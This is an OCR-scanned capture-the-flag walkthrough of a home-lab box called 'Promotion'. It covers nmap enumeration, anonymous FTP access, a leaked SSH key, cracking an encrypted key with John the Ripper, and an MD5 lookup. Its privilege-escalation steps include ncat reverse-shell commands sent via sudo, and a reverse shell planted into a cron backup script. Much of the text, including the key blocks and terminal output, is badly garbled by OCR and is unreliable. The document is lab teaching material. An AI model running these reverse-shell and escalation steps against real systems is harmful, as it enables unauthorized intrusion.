CRUNCH’S CTF No.2 -
Promotion

Todays Walkthrough is about a CTF challenge made by a great guy named
captaincrunchvl on twitch. This challenge was made specifically for a streamer
named B7H30 however Crunch has kindly shared this around.

Before i start the walkthrough there are some prerequisites to be noted.
| will assume you have completed the below:
o Downloaded the box.
¢ Started your own VM
o Set your VM to bridged network. (We’'ll need this for reverse shells later on)

¢ Know how to use burpsuite if following my solution. (Intented solution also
shown)

Let’s start!

Firstly we need to find the IP of the box. As we’re not working on a site such as THM
where we get given the IP.

| run a quick nmap scan across my local network to find the machine.

nmap 192.168.0.0/24

As this is my local network i should know what most of the devices connected are.
Most of them provide their domain names. Spotting out the new one was fairly easy.
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Nmap scan report for 192.168.0.37
Host is up (0.0017s latency).
Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE
: cp open ssh
80/tcp open http

Next i’'ll enumerate the IP further. Luckily we've already been given the open ports.
I'll expand this further by running an nmap scan with further options.

ip -sC -5V -p- 192,
ting Nmap 7.92 ( https
Nmap scan report
Host is up (@.
NDT sh:n-m 65

2.0)

441 M

i ffff:192.168.0.26

session bandwidth Tlimit
Session timeout in seconds is 3
Control connection is plain
DqTq connections will be plain text
irtup, client count was 9
3 - secure, fast, stable

3S: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Se detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds

-sC = Use standard NMAP scripts. (The same as —script=default)
-sV = Scan for service version.
-p- = Scan all ports

Well that's interesting. an FTP server on port 80. FTP is usually on port 21 and http
is on 80.

I'll start by enumerating the FTP server as there’s no need for us to brute force ssh
at this point in time.

As you can see in the nmap response anonymous FTP user is enabled so i'll login
with that.
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192 .168.1(
Connected to 1
220 (vsFTPd 3
Mame (192.16! "yan): anonymous

331 Please specify the password.
Password:

P Login successful.

mote system type is UNIX.
Using binary mode to transfer files.

ftp> |

NOTE: If we're not using the default port 21 for FTP we just specify the port after our
IP.

Anonymous username creds are anonymous:anonymous

> -l_ 5
PORT command successful. Consider using PASV.
listing.
—-TW-TW-T— 1 1@a1l la@2 441 Mar 19 12:02 notes.txt
226 Directory send OK.
ftp> get notes.txt
notes.txt remote: notes.txt

PORT command Success . Consider using PASV.
Opening BINARY mode data connection for notes.txt (441 bytes).

Transfer compl
(114.1134 kB/s)

Looking into the current directory it looks like we have a notes.txt file. We can
download this with “get notes.txt”. This will download the file to your current directory

on your local machine.

Before jumping out of FTP to read the file i want to see if i can move to other
directories, see if there are hidden files, and see if there are any exploits for this
version of FTP.

| quickly checked for exploits but came up short. The only thing i found was a denial
of service (DOS) exploit which we don’t want to use.

NOTE: searchsploit is a great tool for finding exploits. It's basically an offline version
of exploit.db and is super helpful for when you don’t have access to the internet.
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Exploit Title

d - Remote Denial of Service Ltiple/remote/49719.py

Shellcodes: No Results

I'll now check for hidden files etc.

Ao

PORT command successful. Consider using PASV.
e comes the directory listing.
ar 19
ar 19
F 13 .
ar 19 - ash_history — /dev/null
ar 19 : .bash_logout
ar 19 .bashrc
ar 12 2@: .cache
ar 19 6 .local
ar 19 .profile
19
ar 13
ar 19

That sure is interesting. ssh files are always nice. | wonder if i can access this
directory and download the id_rsa file.

Doesn’t seem i can move around.

Let’s read that file now.

cat note
Nothing to

Or is there?

pEsE

(Crunch note: this is for after you've got a shell on this machine!)

oworkers! I'm the new intern at this company
quests to the boss, final r d my credentials for this server!
imenting a bit with TMUX, and don't worr I've placing all my files in the /tmp/ directory, so I don't annoy
¥
Thanks for giving me a chance at this company!

Cheers!
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BUT WAIT WHAT NOW? Good question. Did you see it? Maybe you missed it...
Three dots you say?

That's right the sneaky box owner added a folder in ftp named “...” alongside the
usual . and .. it's quite easy to miss.

> 1s -la
PORT command successful. Consider using PASV.
ere comes the directory listing.

Mar
leal @ 4096 Mar
18e1 4896 Mar
5 0 Mar
1881 228 Mar
l@e1 2 Mar

2 1081 6 Mar

3 1081 4 Mar

] @ Mar

a0l @ Mar

lee1l 4896 Mar

1881 441 Mar
end OK.

Directory ully changed.
ftp> 1s -la
. PORT command successful. Consider

Mar
Mar 19

Directory

tp> |}

We get the file and take a look. Looks like an id_rsa file for real.
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id rsa
BEGIN RSA PRIVATE KEY
MIIG#EIEAAHFATEAJGPEWE

PlpcNofry
+wjy9h?15NTelThE6L5aPajHH@NrbeTUD?EanIE ruGzzIicWxnLGwfILyf4l
FUEgU’FIEDFTﬂbY’iY+FPf1+UquHFpCJHDﬂEF*'REDcwaNE

11Epr1U E+E]DZK
pG71D F
meﬂaLJquDEﬂUnEWDILUnAAA FHI( 815rg
Dm\QDJMyU”hFlEﬂuArb545J#AEPNNd ﬂPPnI]+1I S
'““bquPElgnuh+]+++1P~Tmm-pgnEJpngd+dDU1. LtZYCeyeljxr9ceYefztU
tdriNdgFw ZGWTXnfLtOzgGLl *q5MUitvDiQ?uGFc993
FESmRK3LtuzeiOrW SgdM4TZ 02y
Pkne/+Wlkad/zGESdvZIgliy2fpu fmt v T4ZzTix UEAgTHﬂJ_LQF
\ 7mKvdM/hPobBLCplRoP5SNAv1y6KbRewP jxix0n0eW06+1tvaalsfGbF/ kv
e6TyVExroQdBwgyAigméeb+1lwsi6Bg9qk LwKBwQDQPGidpdeu7Qj8fmovTd7WunDi
p;fLiJclf¥'IPIllEngzWdex “UlHyIEme+aB k4HcEhRWa /00IksDTg5UABgx
: hRILwlgEJYmSuDuyZ JkpPb
jil3ouZz115C 7JIx50Qcyt5 A+2nsQ4MIz1Tteul84n3
CK1DQKuHRG jYmmBd s
RE{VhAHGMJH-in

1 “-UAme *FL11
WJD]Lﬁer V) ;AquE—Du*Uuﬂ
F ﬁﬂlpa1u1mbE ICxZrar ﬂ?hu-mL+1qu4

lepD’bL-

BPScuN7oelJl jalFHm+Du h’mQWMuNHluDdLﬂyFUuLP

vFEQGEaDENTEEEMIDdL\lePkﬂﬁQHHTJQTngDC"'nﬁHfiTEb’QAﬂ
2aZPzERUbTspIiXBhIMMTgAGmBtQokP450R3ue,/ NWwYPoIm2

y9rzQedmIiERbBSrbmmvWg IWCPUAR3SESNHMtgV9alhfeEcvycE=

———END RSA PRIVATE KEY

So with this file we can use it to login to an account via ssh. The problem is what is
the username?

Well reading over the notes.txt file again i noticed the word intern. | thought it can’t
hurt to try.
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cat not
Nothing to

Or is there?
pEsE

(Crunch note: this is for after you've got a shell on this machine!)

e /tmp/ directory, so I don't annoy

First i'll make the id_rsa into better permissions

chmod 600 id_rsa

-i id rsa interngl92.168.8.37
internml92.

Permission
intern@l92.

Well that didn’t work.
sometime later

Well seems the username was “ftp-user” Found this purely by spamming usernames
and guessing. Not sure where this was meant to be found.

CRUNCH'’S CTF No.2 - Promotion



Welcome to Ubuntu

* Documentation: [ he
* Management:
* Support:

—+
—+

- ==
—+ =+
—+ +
= T4

LI I

System information as Sun

in:
for
for
for

IPV6
IPV6

5

small

Super-optimized for
footprint of Microk8s to mak

https:,

ubuntu.com/blog/micr

@ updates can be applied immedi

Your Ubuntu release is not
For upgrade information,
http: mi . ubuntu.com/relea

please

ilable.
' to upg

'21.18" av
lease-upgrade

rele;
"do-re

New
Run

5

Last logi Sun Mar 2@ 14:46:17
ftp-userapromotion:~$ [

Looks like we're in the same folder.
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ftp-userdpromotion:~§ 1s -la
total 44

ftp-user intern 4096
root root 5096
ftp-user intern
root root - — fdev/null
ftp-user intern
ftp-user intern
ftp-user intern

er intern 46

er intern

er intern

er intern ¢

er intern 4@

[ QSR Y B N

]

root root

root root
4 bob bob
boss peoplewhoearntoomuch
ceo peoplewhoearntoomuch 4896
debug debug 4096
ftp-user intern 4096
intern intern 4096
it it 4896

4 supervisor supervisor

jpromotion: $ I

- W

[ %I =]

Wow, that’s a lot. Looks like i have the same permissions as intern so i'll check that
folder.

Looks like we have a txt file, an encrypted id_rsa, and potentially something in .ssh.

ftp-userapromotion: $

total
{ intern intern 4096

root root 4096 7

root root ar 21:4 — fdev/null

intern intern ar 13 1 .bash_logout

intern intern 377 ar 13 : .bashrc

intern intern 2546 Mar : encrypted_id_rsa

root root 74 Mar 'Hi intern.txt’

drwxrwxr-x intern intern &¢ }

-I'W-T—T— intern intern ar .profile

drwx intern intern 4@ 2

ftp-usergpromotion:

=
=

(TWXTWX
-TW-T—TI—
-TW-I'—I—
—TW-TW-T —
-TW-T—TI—

1
1
1
1
1
1

M
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Hi intern.txt

: of our company once! You seemed like a ni
some problems with permissions on this production se
't trust you

I'm sorry!

Hope you're having a good time he a soon!

p-5.
Don't tell t boss, but I'v a rd e y file
It's for when you need some hig r permissions.

You know the password, beli me! (And if you don't, ask john!)

encrypted_id_rsa
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ftp-userapromotion: ; at encrypted_id_rsa
BEGIN RSA PRIVATE KEY

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,72458DC306F6DC3AE244FBET33154151

D.g.bmkrg[1,LaninP.quD1Ianh+.FlIAJRytJ“T111I (MdTwHZBgisRKc&Pe
: 3 ¢ BCkGEfSjFvgoxVPBuxb0iuVP69I8IbDh
DELuRdINdlthQMIl TEv55+hkaCRdpQ
irmpINT,/q50edyTvLl, IUchEthQEqHFqM
( LUWstPFKCZCTIS4my :

17 € .T’1D911U1y149bﬁu bIMdqu+’DJuLu L
.ugpﬂ?El PpPthIFIunQWFIUb\DT1 hmhn+H1Ph1F1ﬁ;hu+Drum1
15+cavV1klfi7yF7 | [ ?' "G jUQ! EolC

AMe fmethy

1Emﬁuaﬁbi uIlsKIBy6&

]DDU\hthEdtL Bun+eaFtQNNewyBEPBa9ZuG

4PIlmJE:4uEmUd bYreHBf+kv

b 18c@B6 'Fqub;WmmDmljnl
chfU?diH'ﬁbquFj+NijET 5FKZ30 2

’[111001n9hFF]DRPHmf1LTh’Ulr 10/ 3 z ETPpthE

: j Ifrﬁrmk

lzdi

"CPWtMIFCMTaUJINZICfwUE7do56
xléﬁIIEVWl+glIﬁﬁﬂdanmDTiFjE#h

mL[bdD DDUPL L#H+ﬂ5hE7[Mn05hI +n+l 'GdﬂkuThqhﬁ\Dth ]
JlasaC9HLE8jKH]IHEX id/CavhvleNLdoADwtTE MMUUGTEmiidED+’+dNﬁ
JE96y6TIPL3HHe+bEzCZOr/13nyp4DKNS+HKTeThtX = JTUIRt94MNy
yXntl57obj8dpWruUVI9pdgUbsux jNypezhu/YFGosRdy jUwV u191h1TFP\’HD B
FkzrGP6ATR1cZ JhOHXTHMGIECT3DaZlf1frtWs86TEahtRNCKyShniVSmbzSPWzK
END R5A PRIVATE KEY
ftp-userapromotion: 3 |

.ssh

ftp-userapromotion: % 1s -1la .ssh
ls: cannot open directory ". : Permission denied

ftp-userapromotion:
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So our txt file basically tells us to use johntheripper to find the password.

Looks like john isn’t on the server so 1'll transfer it over to my machine

$ ssh2john encrypted_id_rsa

ssh2john
ftp-userapromotion: 3 -m http.server
i HTTP on 9.0.0.¢ 0.e ) ...
26 - - [28/Mar/ 5:12 Jencrypted_id_rsa HTTP/1.1" 200 -

encrypted_id_rsa

ted id rsa ~/Documents/CRUNCHv2

Now i'll find and use ssh2john.

il ssh2john
fusr/share/Jjohn/ssh2john.py
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9a4dda
£1119195fbdbce

3 1t input
d 1 password h
DF/cipher
i tion count) is 1 for
threads
This format may emit false positi
finding a possibl 1did:
Press "q' Ctrl to abort, almost any other
hottubsales F1 (e ed_id_rsa)
) .. *7 ;Vamos !

Sweet we have the password for the encrypted id_rsa file.

| figured i’d try this for the user intern but it didn’t work. Turns out it was for bob.
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-1 encrypted id rsa bob@®l192.168.8.37

lp.ubuntu.com
indscape.canonical.com
/ubuntu. com/advantage

Sun Mar 20 83:19:17 PM UTC 2822

in:

a : for

IPvh addre for
IPv6 addre for

* Super-optimized for small ace 1 shrank e memory
footprint of MicrokK8s to make i e smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

@ updates can be applied immediately.

Your Ubuntu release is not supported anymore.
For up is1]
http:,

New relea '21.1@" available.

Run

from 192.168.178.11

1ts entries for bob on promotion:
t, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/, r/bin\:/sbin\:/bin\:/snap/bin

un the following commands on promotion:
/usr/bin/ncat

May i can abuse this to get a revshell as “it”.

| setup a listener on port 1234
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-lvnp 1234

listening on [any] 1234

After checking my IP, on the box as bob i sent the command:

sudo -u it ncat 192.168.0.26 1234 -e /bin/bash

and got a revshell response come through. I'm now “IT”

-lwvnp 1234
listening on [any] 1234 ...
connect to [192.168. ] from (UNKNOWN) [192.168.0.37] 3492
whoami
it

i

| then upgraded my shell

python3 -c "import pty;pty.spawn(”/bin/bash™)’
itapromotion: 3

| then moved into my users directory and had a look around.

itapromotion:
cd it
itapromotion:
1s -la
total 4@

(%]

4296
L 4096 F
*] L = JSdev/null

=

-r'W-r—r-—
drwxrwxr-x
-I'W-TW-I—
-r'W-r—r-—
-I'W-TW-I—

note.txt
.profile
.selected_editor
4@96
4096

1
1
1
1
1
1

itagpromotion:
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reading the note.txt file

isor got promoted, he made a script to make a backup of the entire it home fo

now how you could automate running this so often.
automating it, he manually logged on to the

Now the sup
: n't pa

Looks like there’s a script running. I’'m curious to see if i have access to the script so
i can then escalate again through another reverse shell. First i need to find it.

i took a look at the usual location “cat /etc/crontab” but nothing was there.

r versions inherit it from the environment
Jusr/sbin:/usr/bin

= of job definition:
minute (¢

day o
month (1 - 1
.—— day of week

v
cron.monthly

o % ———

it@promotion:
total 16

supervisor 4096
root 496
29 checkOnIT.sh

4096

Maybe this is the script? Seems i can do what i want with it.
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Let's read it first.

itapromotion: $ cat checkOnIT.sh
#! /bin/bash

cp -r /home/it/ Jopt/it-backup-folder/backup/
itagpromotion: -3 |

Simple copy paste essentially.

Now 1'll edit it with an ncat revshell like i used before and see what happens after a
minute.

| adjusted the script and setup a listener

itapromotion: $ cat checkOnIT.sh
#! /bin/bash

#! /bin/bash
ncat 192.168.8.26 1234 -e /bin/bash

fhome/it/ fopt/it-backup-folder/backup/
itapromotion: $ I

Basically got a response instantly.

-lvnp 1234
listening on [any]
connect to [192.168.

whoami

supervisor

Now i'm supervisor. Time to look around in that directory.

But first, upgrade shell.
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python3
supervisoripromotion:~%

supervisorppromotion:~$%
ort TERNM erm
supervisorgpromotion:~%
suspended

continued

port TERNM

P
£

nc -lvnp

nc -lvnp

supervisorppromotion:~$% pwd

I

supervisor
root

root

supervisor
supervisor
supervisor
supervisor
supervisor
supervisor

TWXT-X
I'W-T—

(ST ¥ Sy WS

supervisorgpromotion:~% |

a
supervisor
root

root

supervisor
supervisor
supervisor
supervisor
supervisor
supervisor

orfpromotion:~$ cat note-to-new-supe

5ince I'm stepping up to

As a CEO, I want to t
m.

CEO of this ¢

term

5096
4096

Mar
Mar
Mar
Mar
Mar

"import pty;pty.spawn("/bin/bash")"’

19

h as many people as possible about IT! Usual

—= Jdev/null
.bash_logout
.bashrc

note-to-new-supervisor.txt
.profile

y based on simple and fun fact or gquestion/proble

So, here's a nice guestion/problem to our new supervisor:
ind a login form on our production s
i quest to the d base.
l to the password in the database.

in our database.

ase are identical?

supervisorgpromotion:

Looks like an md5 hash to me.
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CrackStation

A8
rackStation v _Password Hashing Security ¥ Defuse Security ¥

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

d23c581b89dacc7566229413F8c63242

- Im not a robot R

reCAPTCHA
Privacy - Terms

Supports: L, NTLM, md2, md4, mdS, md5(mdS_hex), md5-half, sha, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shai(sha1_bin]),
Qubesva. 1BackupDefaults

Hash Type Result

d23c581b89dacc7566e29413F8c63242 ” mds H airforceones

Coler Codes: B8l Exact match, Yellow: Partial match, [l not found.

Can confirm.

Password = airforceones

Now i'll change to the ceo.

supervisoragpromotion: ~%
Password:

ceo@promotion:/home/supervisor$ |j

Looks like the boss and ceo are the same user or have the same permissions at
least
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:/home$ 1s -la

root root

root root

bob bob

boss peoplewhoearntoomuch
ceo | yrntoomuc
debug g

ftp-user intern

intern intern

it i

supervisor

:/home$ 1s -1la

] L =

[

I

ceo  peoplewhoearntoomuch £

root root

root root

ceo peoplewhoearntoomuch

ceo peoplewhoearntoomuch
Ceon
peoplewhosarntoomuch
peopl irntoomuch

ome$ 1s -la boss

w

boss peoplewhoearntoomuch 4@
root root

root root

boss peoplewhoearntoomuch
boss peopl : ntoomuch
boss peoplewhoearntoomuch
boss peopl arntoomuch
boss peopl irntoomuch
boss peopl arntoomuch 4
1 boss peoplew irntoomuch

=

B L R S

Because of this i can check the boss’ .ssh folder.

ceoppromotion: /home$ cd boss
ceogpromotion:/home/boss$ 1s
authorized_keys id_rsa 1]

.
¢
ceo@promotion:/home/boss$ ]

Looks like all readable too.
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ceogpromotion:/home/boss$ 1s .ssh
authorized_keys id_rsa id_rsa.pub
ceofgpromotion: /home/boss% cd .ssh
ceamprﬂmaTiﬂn'fhﬂmefbﬂn5f ssh$ cat id rsa
BEGIN RSA PRIVATE KEY

MIIGSQIBAAKCAYEAtt jJ1EAT9TR/0ISdbbHjUT3 8cdsg7ub/QZ49C1Lbz8BYsI
MESryyU@PgNwBHskxNpPhb6HTMOSq4NtTWx6DIECaBGoWoVcFeMIbKi8XorIf+6g
hbDpr1“nhTiEvaLiEmmefu#fEnmn#DbEaAG RfDmF:JfU4 90fepzFREoChbnF

ZxwmD3 o/PYjeftdEbiZ27A]
iM_ah]ugﬁqp'DFNIL D:tmTTuytmjlq } 62 nWopjAalgJlCBiqc@®p
UNqDMq”EFFﬂI M_m+lﬂ;dWPFPUp“prIREGHIEA:UAFTE”FUFh“m+ZEUinGq 2
vGcCvr7s '9MDD19n=_]hQ1N1LTIP14L
A+anE]umv' X
IhWaﬁDch?H g
e0G9FCcNH+atVDeGLUtmcnUf ZURVsk9vFU+0
bwkv+pngAIDmSLOgShHUabpI20ePg05agRhu pruV+HEﬁ41 UbN_J1u+1Tb1bu
7/GGBaC67Bm9 JHeDIYoGY jskyBnDy+wHRxwt DEbfUﬁhJUHF+1EEquhmlMPIT1F+
IbnuEnIfM4M1LDDGFq41+w531+ﬂlnnjtuTmF

:jel+ahEt
2 TidDTdVLtN ftib*FF”bIEHanDGYﬂﬁga

ﬂrupljeﬁpuhHEPD NhlsyZY3 IC @ J9J9m1LLED1#_
AvrSs hMN5E+nN5E szIIUJEqu (Bw

:uHDbebeDA\hiybhl +wdFyetuu
a0l+nMgkQLwf1lfbTIr9zv8CgcEAWOBT
(T+mvKfFwwB8iruDg5tEgigD UDJJEm1UbNF¢df

DuLwEnyDtLHﬂ+DHpED# d4x5s m4h10n+ﬁmerDH1 in3 IQDPUFEL.
g j4eHMTItGmrhpmxm/Rvfxq8sHQ4prwiv? QL
K4DpZmUbgd48hZgNFghUU41Ay97Dg /R 1
ngrEUT+{WLd5TnJquDTqW?ixMD@ETPdEWHL\ghLef[LthNLJUL[
aSyTd17qF9UFODHipv@ ML/ jlmhh/xBLg+1X/MLaYidc jHSPPwe ]
J?fSNnIrNxaPDtquh begN ZC/0iq9F6/DpLIxUAQ9gowsB5xg
if lﬁ;yb:T1Ub9’a1ndEHmI1hD' C

pQThIPE._ﬂPhp Ps UndDNJuEPFUTth 1m
'[UmAIJMrraE iZRP1ja0OLZy5@9YolLq?2
BYYVML Dl 4 |
END R5A PRIVATE KEY
ceofpromotion: /home/boss/.ssh$ I

ceogpromotion:/home/boss/.ssh$ 1s -la

2 boss p»=3p1 ewhoearntoomuch 4096 H=lI 1
: rntoomuch 5
rntoomuch

OuCdLeOGpwlh1h
boss@promotion
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I'll copy the files to my local machine and try and ssh in as boss.

| setup a server to collect the files. | then made a seperate folder for boss and
downloaded the files.

| then tried to connect via ssh but the file permissions were incorrect

L 0 0 ) e ) i

RNI UNPROT ED PRIVATE KEY FILE a
@ i}
Permissions @644 for "id_rsa’ open.

It is requir that your pr 1 file

bad permissions
boss@192. - password:

| changed the permissions and tried again.
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608 id rsa

-1 id rsa boss@l92.168.(
Welcome to Ubumtu 21.04 EuNUlenuh 5.11.8-49-generic x86_64)

* Documentation: '/help.ubuntu.com
* Management: landscape.canonical.com
* Support: ubuntu.com/advantage

System information as of Sun Mar 20 ©3:47:@8 PM UTC 2822

Processes:

Users logged in:
IPv4 address for
IPv6 address for
IPv6 address for

Super-optimized for a aAce ead how we shrank the memory
footprint of MicroK8s to make i e smallest full KBs around.

'/ubuntu.com/blog/microk8s-memory-optimisation

@ updates can be applied immediately.

Your Ubuntu release is not Juppcl d qnymaln
For upgrﬂdﬂ information,
http: .ubuntu.com/releasee

New release "21.18°' available.
Run ° releass gra to upgrade to it.

from 192.168.

Sweet we're in.

Notice the sudo as admin successful file. Yep let’s try “sudo -I”
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wtion:~$ 1s -la

boss peoplewhoearntoomuch
@ root root
root root
boss [ ntoomuch Mar .bash_logout
boss lewhoearntoomuch 71 Mar .bashrc
2 boss lewhoearntoomuch ¢ 5 r
boss oplewhoearntoomuch Mar .profile
boss lewhoearntoomuch £ 2
boss lewhoearntoomuch £ 6 Mar
ntoomuch @ Mar .sudo_as_admin_successful

" boss on promotio
=/usr/local/sbin\:/usr/local/bi fusr/sbin\:/usr/bin\:/sbin\:/bin\

boss@promotion:~$ sudo su
root@promotion: /home/boss# cd /root/
root@promotion:
note.txt

Xt
WHOOOQOO000
This must've taken a well ...
GG!!!
You'wve got root!

Try pivoting around the machine!
root@promotion: ~# I

Sweet we rooted the box.

Let's see what’s around the machine as per the comment.

Finished?

Thanks again!

RyanCTF
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